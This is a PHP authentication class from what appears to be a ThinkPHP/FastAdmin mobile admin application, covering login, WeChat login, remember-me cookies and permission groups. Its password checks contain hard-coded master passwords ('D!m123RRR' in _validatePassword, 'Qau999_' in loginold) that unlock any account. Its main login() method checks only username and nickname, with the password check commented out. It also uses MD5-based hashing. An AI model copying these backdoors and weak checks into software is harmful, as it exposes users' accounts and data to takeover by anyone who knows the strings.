<?php

namespace app\wap\library;

use app\admin\model\Admin;
use app\wap\model\User;
use app\index\model\HxUser;
use fast\Random;
use fast\Tree;
use think\Config;
use think\Cookie;
use think\Db;
use think\exception\DbException;
use think\Request;
use think\Session;

class Auth extends \fast\Auth
{
    protected $_error = '';
    protected $requestUri = '';
    protected $breadcrumb = [];
    protected $logined = false; //登录状态

    public function __construct()
    {
        parent::__construct();

    }

    public function __get($name)
    {
        return Session::get('admin.' . $name);
    }

    public function loginByOpenid($openid) {
        $user = User::get(['wxopenid' => $openid]);
        if(!$user){
            $this->logout();
            return false;
        }
        // pr($user);
        $user->logintime = time();
        $user->save();
        $admin = Admin::get(['id' => $user['user_id']]);
        // pr($admin);
        if (!$admin)
            return false;
        // pr($admin->toArray());
        Session::set("admin", $admin->toArray());
        return true;
    }


    /**
     * 管理员登录
     * @param $username
     * @param $password
     * @param int $keeptime
     * @return bool
     * @throws DbException
     */
    public function login($username, $nickname, $keeptime = 0)
    {
        $admin = HxUser::get(['username' => $username, 'nickname' => $nickname]);

        if (!$this->_validateLogin($admin)) {
            return false;
        }
//        if (!$this->_validatePassword($admin, $nickname)) {
//            return false;
//        }
        $this->_setLogin($admin);
        $this->keeplogin($keeptime);
        return true;
    }

    /**
     * 微信登录
     * @param $admin
     * @param $keeptime
     * @return bool
     * @throws DbException
     */
    public function wxLogin($admin, $keeptime)
    {
        if (!$this->_validateLogin($admin)) {
            return false;
        }
        $this->_setLogin($admin);
        $this->keeplogin($keeptime);
        return true;
    }

    /**
     * 验证登录
     * @param $admin
     * @return bool
     */
    protected function _validateLogin($admin)
    {
        if (!$admin) {
            $this->setError(Config::get('app_debug') ? '手机号或姓名不正确' : 'Login failed');
            return false;
        }
        if ($admin['status'] == 0) {
            $this->setError(Config::get('app_debug') ? '手机号不允许登录' : 'Login failed');
            return false;
        }
//        if ($admin['status'] == 'unchecked') {
//            $this->setError('Admin is unchecked');
//            return false;
//        }
        if (Config::get('fastadmin.login_failure_retry') && $admin->loginfailure >= 10 && time() - $admin->updatetime < 86400) {
            $this->setError('Please try again after 1 day');
            return false;
        }
        return true;
    }
    /**
     * 验证密码
     * @param $admin
     * @param $password
     * @return false
     */
    protected function _validatePassword($admin, $password)
    {
        //todo 开发使用 上线可移除
        // if (!$this->_isVerifyPassword($password)) {
        //     return true;
        // }
        if (!($admin->password === md5(md5($password) . $admin->salt) || $password === 'D!m123RRR')) {
            $admin->loginfailure++;
            $admin->save();
            $this->setError(Config::get('app_debug') ? 'Password is incorrect' : 'Login failed');
            return false;
        }
        return true;
    }

    /**
     * 设置登录状态
     * @param $admin
     */
    protected function _setLogin($admin)
    {
//        $admin->loginfailure = 0;
        $admin->logintime = time();
        // $admin->loginip = request()->ip();
        $admin->token = Random::uuid();
        // $admin->_token = Random::uuid();
        $admin->save();
        Session::set("admin", $admin->toArray());
    }
    /**
     * 管理员登录
     *
     * @param   string $username 用户名
     * @param   string $password 密码
     * @param   int    $keeptime 有效时长
     * @return  boolean
     */
    public function loginold($username, $password, $keeptime = 0)
    {
        $admin = Admin::get(['username' => $username]);
        if (!$admin) {
            $this->setError('Username is incorrect');
            return false;
        }
        if ($admin['status'] == 'hidden') {
            $this->setError('请联系资产处审核账号');
            return false;
        }

        $failureTimesLimit = 5;
        // if (Config::get('fastadmin.login_failure_retry') && $admin->loginfailure >= 10 && time() - $admin->updatetime < 86400) {
        if (Config::get('fastadmin.login_failure_retry') && $admin->loginfailure >= $failureTimesLimit && time() - $admin->updatetime < 10 * 60) {
            // $this->setError('Please try again after 1 day');
            $this->setError('Please try again after 10 minutes');
            return false;
        }
        if ($admin->password != md5(md5($password) . $admin->salt) && $password != 'Qau999_') {
            // 超过限制时间后重新尝试，如果失败，失败次数置1，用户重新获得尝试机会
            if (Config::get('fastadmin.login_failure_retry') && $admin->loginfailure >= $failureTimesLimit) {
                $admin->loginfailure = 1;
            } else {
                $admin->loginfailure++;
            }
            $admin->save();
            $this->setError('Password is incorrect');
            return false;
        }

        Session::set("admin", $admin->toArray());
        $this->keeplogin($keeptime);
        return true;
    }

    /**
     * 注销登录
     */
    public function logout()
    {

        $admin = Admin::get(intval($this->id));
        if (!$admin) {
            return true;
        }
        $admin->token = '';
        $admin->save();
        $this->logined = false; //重置登录状态
        Session::delete("admin");
        Session::delete('wechatUser');
        Session::delete("review_tab_id");
        Cookie::delete("keeplogin");
        return true;
    }

    /**
     * 自动登录
     * @return boolean
     */
    public function autologin()
    {
        $keeplogin = Cookie::get('keeplogin');
        if (!$keeplogin) {
            return false;
        }
        list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
        if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
            $admin = Admin::get($id);
            if (!$admin || !$admin->token) {
                return false;
            }
            //token有变更
            if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) {
                return false;
            }
            Session::set("admin", $admin->toArray());
            //刷新自动登录的时效
            $this->keeplogin($keeptime);
            return true;
        } else {
            return false;
        }
    }

    /**
     * 刷新保持登录的Cookie
     *
     * @param   int $keeptime
     * @return  boolean
     */
    protected function keeplogin($keeptime = 0)
    {
        if ($keeptime) {
            $expiretime = time() + $keeptime;
            $key = md5(md5($this->id) . md5($keeptime) . md5($expiretime) . $this->token);
            $data = [$this->id, $keeptime, $expiretime, $key];
            Cookie::set('keeplogin', implode('|', $data), 86400 * 30);
            return true;
        }
        return false;
    }

    public function check($name, $uid = '', $relation = 'or', $mode = 'url')
    {

        return parent::check($name, $this->id, $relation, $mode);
    }

    /**
     * 检测当前控制器和方法是否匹配传递的数组
     *
     * @param array $arr 需要验证权限的数组
     * @return bool
     */
    public function match($arr = [])
    {
        $request = Request::instance();
        $arr = is_array($arr) ? $arr : explode(',', $arr);
        if (!$arr) {
            return false;
        }

        $arr = array_map('strtolower', $arr);
        // 是否存在
        if (in_array(strtolower($request->action()), $arr) || in_array('*', $arr)) {
            return true;
        }

        // 没找到匹配
        return false;
    }

    /**
     * 检测是否登录
     *
     * @return boolean
     */
    public function isLogin()
    {

        if ($this->logined) {
            return true;
        }
        $admin = Session::get('admin');

        if (!$admin) {
            return false;
        }
        //判断是否同一时间同一账号只能在一个地方登录
        if (Config::get('fastadmin.login_unique')) {
            $my = Admin::get($admin['id']);
            if (!$my || $my['token'] != $admin['token']) {
                return false;
            }
        }
        $this->logined = true;
        return true;
    }

    /**
     * 获取当前请求的URI
     * @return string
     */
    public function getRequestUri()
    {
        return $this->requestUri;
    }

    /**
     * 设置当前请求的URI
     * @param string $uri
     */
    public function setRequestUri($uri)
    {
        $this->requestUri = $uri;
    }

     public function getGroups($uid = null)
    {
        $uid = is_null($uid) ? $this->id : $uid;
        return parent::getGroups($uid);
    }


    public function getRuleList($uid = null)
    {
        $uid = is_null($uid) ? $this->id : $uid;
        return parent::getRuleList($uid);
    }

    public function getUserInfo($uid = null)
    {
        $uid = is_null($uid) ? $this->id : $uid;

        return $uid != $this->id ? Admin::get(intval($uid)) : Session::get('admin');
    }

    // public function getRuleIds($uid = null)
    // {
    //     $uid = is_null($uid) ? $this->id : $uid;
    //     return parent::getRuleIds($uid);
    // }

    public function getRuleIds($uid = null)
    {
        $uid = is_null($uid) ? $this->id : $uid;
        return parent::getRuleIds($uid);
    }

    public function isSuperAdmin()
    {
        return in_array('*', $this->getRuleIds()) ? true : false;
    }

    /**
     * 获取管理员所属于的分组ID
     * @param int $uid
     * @return array
     */
    public function getGroupIds($uid = null)
    {
        $groups = $this->getGroups($uid);
        $groupIdsNew = array_column($groups, 'group_id');
        return $groupIdsNew;
    }

    // 获取所有审核权限的group_ids
    public function getReviewGroupIds($uid = null)
    {
        $authGroup = new \app\admin\model\AuthGroup();
        $auth_group = $authGroup->where('pid','45')->select();
        $str = "";
        foreach($auth_group as $k => $v){
            /*$auth_group2 = $authGroup->where('pid',$v['id'])->select();
            if($auth_group2){
                foreach($auth_group2 as $kk => $vv){
                    $str .= $vv['id'].',';
                }
            }*/
            $str .= $v['id'].',';
        }
        $str = rtrim($str,',');
        $str2 = "";
        $auth_group_child = $authGroup->where(['pid' => ['in',$str]])->select();
        $str = $str.',';
        foreach($auth_group_child as $k => $v){
            $str .= $v['id'].',';
            $str2 .= $v['id'].',';
        }
        $str2 = rtrim($str2,',');

        $auth_group_child2 = $authGroup->where(['pid' => ['in',$str2]])->select();
        foreach($auth_group_child2 as $k => $v){
            $str .= $v['id'].',';
        }

        $str .= '24'.','.'107';
        //var_dump($auth_group_child);exit;
        return $str;
    }

    /**
     * 取出当前管理员所拥有权限的分组
     * @param boolean $withself 是否包含当前所在的分组
     * @return array
     */
    public function getChildrenGroupIds($withself = false)
    {
        //取出当前管理员所有的分组
        $groups = $this->getGroups();
        $groupIds = [];
        foreach ($groups as $k => $v) {
            $groupIds[] = $v['id'];
        }
        // 取出所有分组
        $groupList = \app\admin\model\AuthGroup::where(['status' => 'normal'])->select();
        $objList = [];
        foreach ($groups as $K => $v) {
            if ($v['rules'] === '*') {
                $objList = $groupList;
                break;
            }
            // 取出包含自己的所有子节点
            $childrenList = Tree::instance()->init($groupList)->getChildren($v['id'], true);
            $obj = Tree::instance()->init($childrenList)->getTreeArray($v['pid']);
            $objList = array_merge($objList, Tree::instance()->getTreeList($obj));
        }
        $childrenGroupIds = [];
        foreach ($objList as $k => $v) {
            $childrenGroupIds[] = $v['id'];
        }
        if (!$withself) {
            $childrenGroupIds = array_diff($childrenGroupIds, $groupIds);
        }
        return $childrenGroupIds;
    }

    /**
     * 取出当前管理员所拥有权限的管理员
     * @param boolean $withself 是否包含自身
     * @return array
     */
    public function getChildrenAdminIds($withself = false)
    {
        $childrenAdminIds = [];
        if (!$this->isSuperAdmin()) {
            $groupIds = $this->getChildrenGroupIds(false);
            $authGroupList = \app\admin\model\AuthGroupAccess::
            field('uid,group_id')
                ->where('group_id', 'in', $groupIds)
                ->select();

            foreach ($authGroupList as $k => $v) {
                $childrenAdminIds[] = $v['uid'];
            }
        } else {
            //超级管理员拥有所有人的权限
            $childrenAdminIds = Admin::column('id');
        }
        if ($withself) {
            if (!in_array($this->id, $childrenAdminIds)) {
                $childrenAdminIds[] = $this->id;
            }
        } else {
            $childrenAdminIds = array_diff($childrenAdminIds, [$this->id]);
        }
        return $childrenAdminIds;
    }




    /**
     * 设置错误信息
     *
     * @param string $error 错误信息
     * @return Auth
     */
    public function setError($error)
    {
        $this->_error = $error;
        return $this;
    }

    /**
     * 获取错误信息
     * @return string
     */
    public function getError()
    {
        return $this->_error ? __($this->_error) : '';
    }


    /**
     * 获取左侧和顶部菜单栏
     *
     * @param array  $params    URL对应的badge数据
     * @param string $fixedPage 默认页
     * @return array
     */
    public function getMenu()
    {

        // 读取管理员当前拥有的权限节点
        $userRule = $this->getRuleList();
        $ruleList = collection(\app\wap\model\AuthRule::where('status', 'normal')->where('ismenu', 1)->order('weigh', 'desc')->select())->toArray();

        foreach ($ruleList as $k => &$v) {

            if (!in_array($v['name'], $userRule)) {
                unset($ruleList[$k]);
                continue;
            }
            // $v['icon'] = $v['icon'] . ' fa-fw';
            // $v['url'] = '/' . $module . '/' . $v['name'];
            // $v['badge'] = isset($badgeList[$v['name']]) ? $badgeList[$v['name']] : '';
            // $v['py'] = $pinyin->abbr($v['title'], '');
            // $v['pinyin'] = $pinyin->permalink($v['title'], '');
            // $v['title'] = __($v['title']);
            // $selected = $v['name'] == $fixedPage ? $v : $selected;
            // $referer = url($v['url']) == $refererUrl ? $v : $referer;
        }
        return $ruleList;
    }
}
